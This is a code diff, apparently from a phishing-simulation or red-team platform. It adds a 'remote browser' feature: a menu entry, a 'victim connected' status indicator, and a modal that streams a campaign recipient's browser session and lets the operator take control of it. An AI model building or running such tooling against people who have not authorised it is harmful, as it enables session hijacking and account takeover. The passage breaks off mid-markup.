|
||||
|
||||
// formatDate converts readable date format (YmdHis) to formatted date string
|
||||
const formatDate = (date, format) => {
|
||||
const pad = (num, size = 2) => num.toString().padStart(size, '0');
|
||||
@@ -658,7 +663,7 @@
|
||||
const t = /** @type {HTMLSelectElement} */ (e.target);
|
||||
if (t.value) {
|
||||
insertTemplate(t.value);
|
||||
t.value = ''; // reset selection
|
||||
t.value = '';
|
||||
}
|
||||
}}
|
||||
>
|
||||
|
||||
@@ -161,6 +161,11 @@
|
||||
proxy: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5" />
|
||||
</svg>
|
||||
`,
|
||||
|
||||
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
|
||||
</svg>
|
||||
`
|
||||
};
|
||||
|
||||
@@ -176,6 +181,7 @@
|
||||
'/domain/': 'domains_overview',
|
||||
'/page/': 'pages',
|
||||
'/proxy/': 'proxy',
|
||||
'/remote-browser/': 'remote_browser',
|
||||
'/asset/': 'assets',
|
||||
'/email/': 'emails_overview',
|
||||
'/attachment/': 'attachments',
|
||||
@@ -302,6 +308,7 @@
|
||||
>
|
||||
{#each menu as link}
|
||||
{#if link.type === 'submenu'}
|
||||
<ConditionalDisplay show={link.whitebox ? 'whitebox' : link.blackbox ? 'blackbox' : 'both'}>
|
||||
<div class="py-1 mt-4 first:mt-0">
|
||||
{#if isExpanded}
|
||||
<div
|
||||
@@ -355,6 +362,7 @@
|
||||
{/each}
|
||||
</div>
|
||||
</div>
|
||||
</ConditionalDisplay>
|
||||
{:else}
|
||||
<a
|
||||
class="flex items-center px-3 py-2 text-sm transition-all duration-150 relative group
|
||||
|
||||
@@ -97,6 +97,11 @@
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" />
|
||||
</svg>`,
|
||||
|
||||
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
|
||||
</svg>
|
||||
`,
|
||||
|
||||
tools: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-5">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" d="M11.42 15.17 17.25 21A2.652 2.652 0 0 0 21 17.25l-5.877-5.877M11.42 15.17l2.496-3.03c.317-.384.74-.626 1.208-.766M11.42 15.17l-4.655 5.653a2.548 2.548 0 1 1-3.586-3.586l6.837-5.63m5.108-.233c.55-.164 1.163-.188 1.743-.14a4.5 4.5 0 0 0 4.486-6.336l-3.276 3.277a3.004 3.004 0 0 1-2.25-2.25l3.276-3.276a4.5 4.5 0 0 0-6.336 4.486c.091 1.076-.071 2.264-.904 2.95l-.102.085m-1.745 1.437L5.909 7.5H4.5L2.25 3.75l1.5-1.5L7.5 4.5v1.409l4.26 4.26m-1.745 1.437 1.745-1.437m6.615 8.206L15.75 15.75M4.867 19.125h.008v.008h-.008v-.008Z" />
|
||||
</svg>`,
|
||||
@@ -128,6 +133,7 @@
|
||||
'/smtp-configuration/': 'smtp_configurations',
|
||||
'/api-sender/': 'api_senders',
|
||||
'/oauth-provider/': 'oauth_providers',
|
||||
'/remote-browser/': 'remote_browser',
|
||||
'/profile/': 'profile',
|
||||
'/sessions/': 'sessions',
|
||||
'/user/': 'users',
|
||||
@@ -247,6 +253,7 @@
|
||||
<div class="space-y-1">
|
||||
{#each menu as link}
|
||||
{#if link.type === 'submenu'}
|
||||
<ConditionalDisplay show={link.whitebox ? 'whitebox' : link.blackbox ? 'blackbox' : 'both'}>
|
||||
<!-- section header -->
|
||||
<div class="pt-4 pb-2 first:pt-0">
|
||||
<div class="py-2 px-4 border-l-2 border-cta-blue/60 dark:border-highlight-blue/60">
|
||||
@@ -284,6 +291,7 @@
|
||||
</ConditionalDisplay>
|
||||
{/each}
|
||||
</div>
|
||||
</ConditionalDisplay>
|
||||
{:else}
|
||||
<!-- standalone menu item -->
|
||||
<div class="pt-4 pb-2 first:pt-0">
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
<script>
|
||||
import { onDestroy } from 'svelte';
|
||||
import { activeFormElement } from '$lib/store/activeFormElement';
|
||||
import { scrollBarClassesVertical } from '$lib/utils/scrollbar';
|
||||
|
||||
export let victimConnected = false;
|
||||
|
||||
let isMenuVisible = false;
|
||||
let menuX = 0;
|
||||
let menuY = 0;
|
||||
let menuRef = null;
|
||||
let buttonRef = null;
|
||||
|
||||
const dropdownId = Symbol();
|
||||
|
||||
const unsubscribe = activeFormElement.subscribe((activeId) => {
|
||||
isMenuVisible = activeId === dropdownId;
|
||||
});
|
||||
|
||||
const toggle = (e) => {
|
||||
if (isMenuVisible) {
|
||||
activeFormElement.set(null);
|
||||
} else {
|
||||
document.addEventListener('click', handleClickWhenVisible);
|
||||
document.addEventListener('keydown', handleGlobalKeydown);
|
||||
activeFormElement.set(dropdownId);
|
||||
|
||||
const viewportHeight = window.innerHeight;
|
||||
const viewportWidth = window.innerWidth;
|
||||
const buffer = 20;
|
||||
const minHeight = 64;
|
||||
const maxHeight = 400;
|
||||
const gap = 8;
|
||||
|
||||
const buttonRect = buttonRef.getBoundingClientRect();
|
||||
|
||||
const spaceAbove = buttonRect.top - buffer;
|
||||
const spaceBelow = viewportHeight - buttonRect.bottom - buffer;
|
||||
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
|
||||
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
|
||||
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
|
||||
|
||||
const menuWidth = 256;
|
||||
const spaceOnRight = viewportWidth - buttonRect.right - buffer;
|
||||
menuX = spaceOnRight >= menuWidth ? buttonRect.left : buttonRect.right - menuWidth;
|
||||
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
|
||||
|
||||
if (shouldShowAbove) {
|
||||
menuRef.style.visibility = 'hidden';
|
||||
menuRef.style.display = 'block';
|
||||
const actualMenuHeight = menuRef.scrollHeight;
|
||||
menuRef.style.display = '';
|
||||
menuRef.style.visibility = '';
|
||||
menuY = buttonRect.top - actualMenuHeight - gap;
|
||||
} else {
|
||||
menuY = buttonRect.bottom + gap;
|
||||
}
|
||||
|
||||
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
|
||||
}
|
||||
};
|
||||
|
||||
const handleClickWhenVisible = (event) => {
|
||||
if (isMenuVisible && menuRef && buttonRef) {
|
||||
activeFormElement.set(null);
|
||||
event.preventDefault();
|
||||
event.stopPropagation();
|
||||
}
|
||||
document.removeEventListener('click', handleClickWhenVisible);
|
||||
};
|
||||
|
||||
const handleGlobalKeydown = (event) => {
|
||||
if (event.key === 'Escape' && isMenuVisible) {
|
||||
activeFormElement.set(null);
|
||||
document.removeEventListener('keydown', handleGlobalKeydown);
|
||||
}
|
||||
};
|
||||
|
||||
const handleKeydown = (e) => {
|
||||
if (e.key === 'Enter' || e.key === ' ') {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
toggle(e);
|
||||
} else if (e.key === 'Escape' && isMenuVisible) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
activeFormElement.set(null);
|
||||
}
|
||||
};
|
||||
|
||||
const _onDestroy = () => {
|
||||
document.removeEventListener('click', handleClickWhenVisible);
|
||||
document.removeEventListener('keydown', handleGlobalKeydown);
|
||||
unsubscribe();
|
||||
activeFormElement.update((current) => (current === dropdownId ? null : current));
|
||||
};
|
||||
|
||||
onDestroy(_onDestroy);
|
||||
</script>
|
||||
|
||||
<div>
|
||||
<button
|
||||
bind:this={buttonRef}
|
||||
class="flex items-center gap-1 rounded px-1.5 py-0.5 text-xs font-semibold transition-colors duration-150 focus:outline-none {victimConnected
|
||||
? 'bg-green-100 text-green-700 hover:bg-green-200 dark:bg-green-900/40 dark:text-green-400 dark:hover:bg-green-800/50'
|
||||
: 'bg-yellow-100 text-yellow-700 hover:bg-yellow-200 dark:bg-yellow-900/40 dark:text-yellow-400 dark:hover:bg-yellow-800/50'}"
|
||||
on:click|stopPropagation|preventDefault={toggle}
|
||||
on:keydown={handleKeydown}
|
||||
>
|
||||
{#if victimConnected}
|
||||
<span class="w-1.5 h-1.5 rounded-full bg-green-500 animate-pulse inline-block"></span>
|
||||
Live
|
||||
{:else}
|
||||
<span class="w-1.5 h-1.5 rounded-full bg-yellow-500 inline-block"></span>
|
||||
Active
|
||||
{/if}
|
||||
<svg class="w-3 h-3 opacity-60" viewBox="0 0 20 20" fill="currentColor">
|
||||
<path fill-rule="evenodd" d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
<div
|
||||
bind:this={menuRef}
|
||||
class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
|
||||
class:hidden={!isMenuVisible}
|
||||
>
|
||||
<ul class="flex flex-col text-left">
|
||||
<slot />
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,600 @@
|
||||
<script>
|
||||
import { onDestroy, afterUpdate, createEventDispatcher } from 'svelte';
|
||||
import Modal from '$lib/components/Modal.svelte';
|
||||
|
||||
const dispatch = createEventDispatcher();
|
||||
|
||||
/** @type {string} Campaign-recipient ID */
|
||||
export let crID = '';
|
||||
/** @type {boolean} */
|
||||
export let visible = false;
|
||||
/** @type {boolean} Allow admin to send mouse/keyboard input */
|
||||
export let controlMode = false;
|
||||
/** @type {string} Recipient email shown in the toolbar */
|
||||
export let email = '';
|
||||
/** @type {Array<Record<string, any>>} Log entries from the script runner */
|
||||
export let runLog = [];
|
||||
/** @type {boolean} Whether the script is currently running */
|
||||
export let isRunning = false;
|
||||
|
||||
let canvas;
|
||||
let ws = null;
|
||||
let fps = 0;
|
||||
let frameCount = 0;
|
||||
let fpsInterval = null;
|
||||
let status = 'Connecting…';
|
||||
let sessionClosed = false;
|
||||
|
||||
let logPanelOpen = false;
|
||||
let logPanelEl;
|
||||
let logScrolledUp = false;
|
||||
let injectEvent = '';
|
||||
let injectData = '';
|
||||
|
||||
function onLogPanelWheel(e) {
|
||||
if (e.deltaY < 0) logScrolledUp = true;
|
||||
}
|
||||
|
||||
function onLogPanelScroll() {
|
||||
if (!logPanelEl) return;
|
||||
const dist = logPanelEl.scrollHeight - logPanelEl.scrollTop - logPanelEl.clientHeight;
|
||||
if (dist <= 32) logScrolledUp = false;
|
||||
}
|
||||
|
||||
afterUpdate(() => {
|
||||
if (logPanelEl && !logScrolledUp) {
|
||||
logPanelEl.scrollTop = logPanelEl.scrollHeight;
|
||||
}
|
||||
});
|
||||
|
||||
function sendInject() {
|
||||
if (!injectEvent.trim()) return;
|
||||
let data;
|
||||
try { data = JSON.parse(injectData); } catch { data = injectData || null; }
|
||||
dispatch('inject', { event: injectEvent.trim(), data });
|
||||
injectEvent = '';
|
||||
injectData = '';
|
||||
}
|
||||
|
||||
// track the natural size of the remote browser so we can scale input coords
|
||||
let remoteWidth = 1280;
|
||||
let remoteHeight = 720;
|
||||
|
||||
// URL bar
|
||||
let currentURL = '';
|
||||
let urlBarValue = '';
|
||||
let urlBarFocused = false;
|
||||
|
||||
// Tab bar
|
||||
/** @type {Array<{targetID: string, url: string, active: boolean}>} */
|
||||
let tabs = [];
|
||||
|
||||
function switchTab(targetID) {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(JSON.stringify({ type: 'switch_tab', targetID }));
|
||||
}
|
||||
|
||||
function closeTab(targetID) {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(JSON.stringify({ type: 'close_tab', targetID }));
|
||||
}
|
||||
|
||||
function tabLabel(url) {
|
||||
if (!url || url === 'about:blank') return 'New tab';
|
||||
try {
|
||||
return new URL(url).hostname || url;
|
||||
} catch {
|
||||
return url;
|
||||
}
|
||||
}
|
||||
|
||||
$: if (visible && crID) {
|
||||
openStream();
|
||||
}
|
||||
$: if (!visible) {
|
||||
closeStream();
|
||||
removeKeyListeners();
|
||||
}
|
||||
|
||||
// Attach window-level keyboard listeners when in control mode and visible.
|
||||
// Canvas-level events require the element to have focus; window-level events
|
||||
// fire regardless of which element is focused inside the modal.
|
||||
$: if (visible && controlMode) {
|
||||
addKeyListeners();
|
||||
} else {
|
||||
removeKeyListeners();
|
||||
}
|
||||
|
||||
let keyListenersAttached = false;
|
||||
|
||||
function addKeyListeners() {
|
||||
if (keyListenersAttached) return;
|
||||
window.addEventListener('keydown', onKeyDown, true);
|
||||
window.addEventListener('keyup', onKeyUp, true);
|
||||
keyListenersAttached = true;
|
||||
}
|
||||
|
||||
function removeKeyListeners() {
|
||||
if (!keyListenersAttached) return;
|
||||
window.removeEventListener('keydown', onKeyDown, true);
|
||||
window.removeEventListener('keyup', onKeyUp, true);
|
||||
keyListenersAttached = false;
|
||||
}
|
||||
|
||||
function openStream() {
|
||||
if (ws) return;
|
||||
sessionClosed = false;
|
||||
status = 'Connecting…';
|
||||
const proto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const url = `${proto}//${window.location.host}/api/v1/remote-browser/live/${crID}/stream${controlMode ? '?mode=control' : ''}`;
|
||||
ws = new WebSocket(url);
|
||||
ws.binaryType = 'arraybuffer';
|
||||
|
||||
ws.onopen = () => {
|
||||
status = 'Connected';
|
||||
fpsInterval = setInterval(() => {
|
||||
fps = frameCount;
|
||||
frameCount = 0;
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
ws.onmessage = (ev) => {
|
||||
try {
|
||||
const msg = JSON.parse(typeof ev.data === 'string' ? ev.data : new TextDecoder().decode(ev.data));
|
||||
if (msg.type === 'frame') {
|
||||
if (msg.width) remoteWidth = msg.width;
|
||||
if (msg.height) remoteHeight = msg.height;
|
||||
renderFrame(msg.data);
|
||||
frameCount++;
|
||||
} else if (msg.type === 'url') {
|
||||
currentURL = msg.value;
|
||||
if (!urlBarFocused) urlBarValue = msg.value;
|
||||
} else if (msg.type === 'tabs') {
|
||||
tabs = msg.tabs || [];
|
||||
} else if (msg.type === 'closed') {
|
||||
status = 'Session ended';
|
||||
sessionClosed = true;
|
||||
closeStream();
|
||||
}
|
||||
} catch {
|
||||
// ignore parse errors
|
||||
}
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
status = 'Connection error';
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
if (!sessionClosed) status = isRunning ? 'Disconnected' : 'Session ended';
|
||||
clearInterval(fpsInterval);
|
||||
ws = null;
|
||||
};
|
||||
}
|
||||
|
||||
function renderFrame(base64jpeg) {
|
||||
if (!canvas) return;
|
||||
const img = new Image();
|
||||
img.onload = () => {
|
||||
const ctx = canvas.getContext('2d');
|
||||
// Only resize when dimensions change — resizing always clears the canvas
|
||||
// and flushes the GPU texture even when the value is identical.
|
||||
if (canvas.width !== img.naturalWidth) canvas.width = img.naturalWidth;
|
||||
if (canvas.height !== img.naturalHeight) canvas.height = img.naturalHeight;
|
||||
ctx.drawImage(img, 0, 0);
|
||||
};
|
||||
img.src = 'data:image/jpeg;base64,' + base64jpeg;
|
||||
}
|
||||
|
||||
function closeStream() {
|
||||
if (ws && ws.readyState <= WebSocket.OPEN) {
|
||||
ws.close();
|
||||
}
|
||||
ws = null;
|
||||
clearInterval(fpsInterval);
|
||||
fps = 0;
|
||||
currentURL = '';
|
||||
urlBarValue = '';
|
||||
tabs = [];
|
||||
}
|
||||
|
||||
function navigateTo(url) {
|
||||
if (!url) return;
|
||||
if (!/^https?:\/\//i.test(url)) url = 'https://' + url;
|
||||
sendInput({ type: 'navigate', url });
|
||||
urlBarValue = url;
|
||||
urlBarFocused = false;
|
||||
}
|
||||
|
||||
function navigateBack() {
|
||||
sendInput({ type: 'back' });
|
||||
}
|
||||
|
||||
function navigateForward() {
|
||||
sendInput({ type: 'forward' });
|
||||
}
|
||||
|
||||
// Input forwarding (control mode only)
|
||||
function sendInput(msg) {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(JSON.stringify(msg));
|
||||
}
|
||||
|
||||
function canvasCoords(e) {
|
||||
if (!canvas) return { x: 0, y: 0 };
|
||||
const rect = canvas.getBoundingClientRect();
|
||||
const scaleX = remoteWidth / rect.width;
|
||||
const scaleY = remoteHeight / rect.height;
|
||||
return {
|
||||
x: Math.round((e.clientX - rect.left) * scaleX),
|
||||
y: Math.round((e.clientY - rect.top) * scaleY)
|
||||
};
|
||||
}
|
||||
|
||||
function onMouseMove(e) {
|
||||
if (!controlMode) return;
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'mousemove', x, y });
|
||||
}
|
||||
|
||||
function onMouseDown(e) {
|
||||
if (!controlMode) return;
|
||||
e.preventDefault();
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'mousedown', x, y, button: e.button === 2 ? 'right' : 'left' });
|
||||
}
|
||||
|
||||
function onMouseUp(e) {
|
||||
if (!controlMode) return;
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'mouseup', x, y, button: e.button === 2 ? 'right' : 'left' });
|
||||
}
|
||||
|
||||
function onWheel(e) {
|
||||
if (!controlMode) return;
|
||||
e.preventDefault();
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'scroll', x, y, deltaX: e.deltaX, deltaY: e.deltaY });
|
||||
}
|
||||
|
||||
function mods(e) {
|
||||
return (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0);
|
||||
}
|
||||
|
||||
// charText is the Unicode text a keydown should insert:
|
||||
// - Enter → "\r" (CDP char event expected per chromedp kb package)
|
||||
// - single printable with no Ctrl/Meta → the character itself
|
||||
// - everything else (arrows, F-keys, Ctrl+X shortcuts, …) → ""
|
||||
function charText(e) {
|
||||
if (e.ctrlKey || e.metaKey) return '';
|
||||
if (e.key === 'Enter') return '\r';
|
||||
if (e.key.length === 1) return e.key;
|
||||
return '';
|
||||
}
|
||||
|
||||
function isLocalInputFocused() {
|
||||
const tag = document.activeElement?.tagName?.toLowerCase();
|
||||
return tag === 'input' || tag === 'textarea' || tag === 'select';
|
||||
}
|
||||
|
||||
function onKeyDown(e) {
|
||||
if (!visible || !controlMode) return;
|
||||
if (e.key === 'Escape') return;
|
||||
if (urlBarFocused || isLocalInputFocused()) return;
|
||||
|
||||
// Intercept Ctrl+V / Cmd+V — read clipboard directly because
|
||||
// e.preventDefault() below would kill the native paste event.
|
||||
if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 'v') {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
navigator.clipboard.readText().then((text) => {
|
||||
if (text) sendInput({ type: 'paste', text });
|
||||
}).catch(() => {
|
||||
// Clipboard API denied — fall back to forwarding Ctrl+V as a shortcut
|
||||
sendInput({ type: 'keydown', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e), charText: '' });
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
sendInput({
|
||||
type: 'keydown',
|
||||
key: e.key,
|
||||
code: e.code,
|
||||
keyCode: e.keyCode,
|
||||
modifiers: mods(e),
|
||||
charText: charText(e)
|
||||
});
|
||||
}
|
||||
|
||||
function onKeyUp(e) {
|
||||
if (!visible || !controlMode) return;
|
||||
if (e.key === 'Escape') return;
|
||||
if (urlBarFocused || isLocalInputFocused()) return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
sendInput({ type: 'keyup', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e) });
|
||||
}
|
||||
|
||||
function onClose() {
|
||||
removeKeyListeners();
|
||||
closeStream();
|
||||
visible = false;
|
||||
}
|
||||
|
||||
onDestroy(() => {
|
||||
removeKeyListeners();
|
||||
closeStream();
|
||||
});
|
||||
</script>
|
||||
|
||||
<Modal
|
||||
headerText={controlMode ? 'Remote Browser: Control' : 'Remote Browser: View'}
|
||||
bind:visible
|
||||
onClose={onClose}
|
||||
fullscreen
|
||||
>
|
||||
<div class="flex flex-col h-full pt-4 pb-4" style="min-height: calc(100vh - 80px);">
|
||||
<!-- Toolbar -->
|
||||
<div class="flex flex-col gap-2 mb-3 flex-shrink-0">
|
||||
<!-- Status row -->
|
||||
<div class="flex items-center gap-4">
|
||||
<span class="text-sm text-gray-500 dark:text-gray-400">
|
||||
Status: <span class="font-medium"
|
||||
class:text-green-500={status === 'Connected'}
|
||||
class:text-red-500={status.includes('error') || status.includes('end') || status.includes('Disconnected')}
|
||||
>{status}</span>
|
||||
</span>
|
||||
{#if email}
|
||||
<span class="text-sm text-gray-500 dark:text-gray-400">{email}</span>
|
||||
{/if}
|
||||
{#if status === 'Connected'}
|
||||
<span class="text-sm text-gray-500 dark:text-gray-400">{fps} fps</span>
|
||||
{/if}
|
||||
<button
|
||||
type="button"
|
||||
on:click={() => (logPanelOpen = !logPanelOpen)}
|
||||
class="ml-auto flex items-center gap-1.5 px-2 py-0.5 text-xs rounded border transition-colors {logPanelOpen
|
||||
? 'bg-gray-700 border-gray-500 text-gray-200'
|
||||
: 'border-gray-600 text-gray-400 hover:text-gray-200 hover:border-gray-500'}"
|
||||
title="Toggle script log"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3 h-3">
|
||||
<path fill-rule="evenodd" d="M2 4a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM2 8a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM3 11a1 1 0 1 0 0 2h6a1 1 0 1 0 0-2H3Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
Logs
|
||||
{#if isRunning}
|
||||
<span class="inline-block w-1.5 h-1.5 rounded-full bg-green-400 animate-pulse"></span>
|
||||
{/if}
|
||||
</button>
|
||||
</div>
|
||||
<!-- Tab bar (only shown when multiple tabs exist) -->
|
||||
{#if tabs.length > 1}
|
||||
<div class="flex items-center gap-1 overflow-x-auto pb-0.5 flex-shrink-0">
|
||||
{#each tabs as tab (tab.targetID)}
|
||||
<!-- svelte-ignore a11y-click-events-have-key-events -->
|
||||
<!-- svelte-ignore a11y-no-static-element-interactions -->
|
||||
<div
|
||||
class="flex items-center gap-1 pl-2.5 pr-1 py-0.5 rounded-t text-xs font-mono cursor-pointer whitespace-nowrap max-w-48 flex-shrink-0 transition-colors border-b-2 {tab.active
|
||||
? 'bg-gray-700 border-blue-500 text-gray-100'
|
||||
: 'bg-gray-800 border-transparent text-gray-400 hover:bg-gray-700 hover:text-gray-200'}"
|
||||
on:click={() => switchTab(tab.targetID)}
|
||||
title={tab.url || 'New tab'}
|
||||
>
|
||||
<span class="truncate flex-1">{tabLabel(tab.url)}</span>
|
||||
<button
|
||||
type="button"
|
||||
class="ml-1 flex-shrink-0 rounded p-0.5 opacity-50 hover:opacity-100 hover:bg-gray-600 transition-colors"
|
||||
title="Close tab"
|
||||
on:click|stopPropagation={() => closeTab(tab.targetID)}
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12" fill="currentColor" class="w-2.5 h-2.5">
|
||||
<path d="M4.22 3.22a.75.75 0 0 0-1.06 1.06L4.94 6 3.16 7.78a.75.75 0 1 0 1.06 1.06L6 7.06l1.78 1.78a.75.75 0 1 0 1.06-1.06L7.06 6l1.78-1.78a.75.75 0 0 0-1.06-1.06L6 4.94 4.22 3.22Z" />
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
<!-- URL bar row -->
|
||||
<div class="flex items-center gap-1">
|
||||
<button
|
||||
type="button"
|
||||
disabled={!controlMode}
|
||||
on:click={navigateBack}
|
||||
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
|
||||
title="Back"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
|
||||
<path fill-rule="evenodd" d="M17 10a.75.75 0 0 1-.75.75H5.612l4.158 3.96a.75.75 0 1 1-1.04 1.08l-5.5-5.25a.75.75 0 0 1 0-1.08l5.5-5.25a.75.75 0 1 1 1.04 1.08L5.612 9.25H16.25A.75.75 0 0 1 17 10Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
disabled={!controlMode}
|
||||
on:click={navigateForward}
|
||||
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
|
||||
title="Forward"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
|
||||
<path fill-rule="evenodd" d="M3 10a.75.75 0 0 1 .75-.75h10.638L10.23 5.29a.75.75 0 1 1 1.04-1.08l5.5 5.25a.75.75 0 0 1 0 1.08l-5.5 5.25a.75.75 0 1 1-1.04-1.08l4.158-3.96H3.75A.75.75 0 0 1 3 10Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
</button>
|
||||
<!-- svelte-ignore a11y-click-events-have-key-events -->
|
||||
<!-- svelte-ignore a11y-no-static-element-interactions -->
|
||||
<div
|
||||
class="flex-1 flex items-center rounded border {controlMode
|
||||
? 'border-gray-300 dark:border-gray-600 bg-white dark:bg-gray-800 cursor-text'
|
||||
: 'border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800/50'}"
|
||||
on:click={() => { if (controlMode) document.getElementById('rb-url-input')?.select(); }}
|
||||
>
|
||||
<input
|
||||
id="rb-url-input"
|
||||
type="text"
|
||||
bind:value={urlBarValue}
|
||||
on:focus={() => { urlBarFocused = true; }}
|
||||
on:blur={() => { urlBarFocused = false; urlBarValue = currentURL; }}
|
||||
on:keydown={(e) => {
|
||||
if (e.key === 'Enter') { e.preventDefault(); navigateTo(urlBarValue); }
|
||||
if (e.key === 'Escape') { e.preventDefault(); urlBarValue = currentURL; e.target.blur(); }
|
||||
e.stopPropagation();
|
||||
}}
|
||||
readonly={!controlMode}
|
||||
class="flex-1 px-2.5 py-1 text-sm font-mono bg-transparent outline-none text-gray-800 dark:text-gray-200 {!controlMode ? 'cursor-default select-text' : ''}"
|
||||
placeholder="about:blank"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Canvas -->
|
||||
<!-- svelte-ignore a11y-no-noninteractive-element-interactions -->
|
||||
<div
|
||||
class="flex-1 overflow-hidden flex items-center justify-center bg-black rounded relative"
|
||||
class:cursor-crosshair={controlMode}
|
||||
>
|
||||
<canvas
|
||||
bind:this={canvas}
|
||||
class="max-w-full max-h-full object-contain"
|
||||
style={controlMode ? 'cursor: crosshair;' : ''}
|
||||
on:mousemove={onMouseMove}
|
||||
on:mousedown={onMouseDown}
|
||||
on:mouseup={onMouseUp}
|
||||
on:wheel|nonpassive={onWheel}
|
||||
on:contextmenu|preventDefault
|
||||
/>
|
||||
|
||||
{#if logPanelOpen}
|
||||
<div
|
||||
class="absolute bottom-0 left-0 right-0 flex flex-col bg-gray-950/95 border-t border-gray-700 rounded-b"
|
||||
style="height: 13rem; max-height: 50%;"
|
||||
>
|
||||
<div class="flex items-center justify-between px-2.5 py-1 border-b border-gray-700/60 flex-shrink-0">
|
||||
<span class="text-xs font-mono text-gray-400">Script Log</span>
|
||||
<button
|
||||
type="button"
|
||||
on:click={() => (logPanelOpen = false)}
|
||||
class="text-gray-500 hover:text-gray-300 transition-colors"
|
||||
title="Close log"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3.5 h-3.5">
|
||||
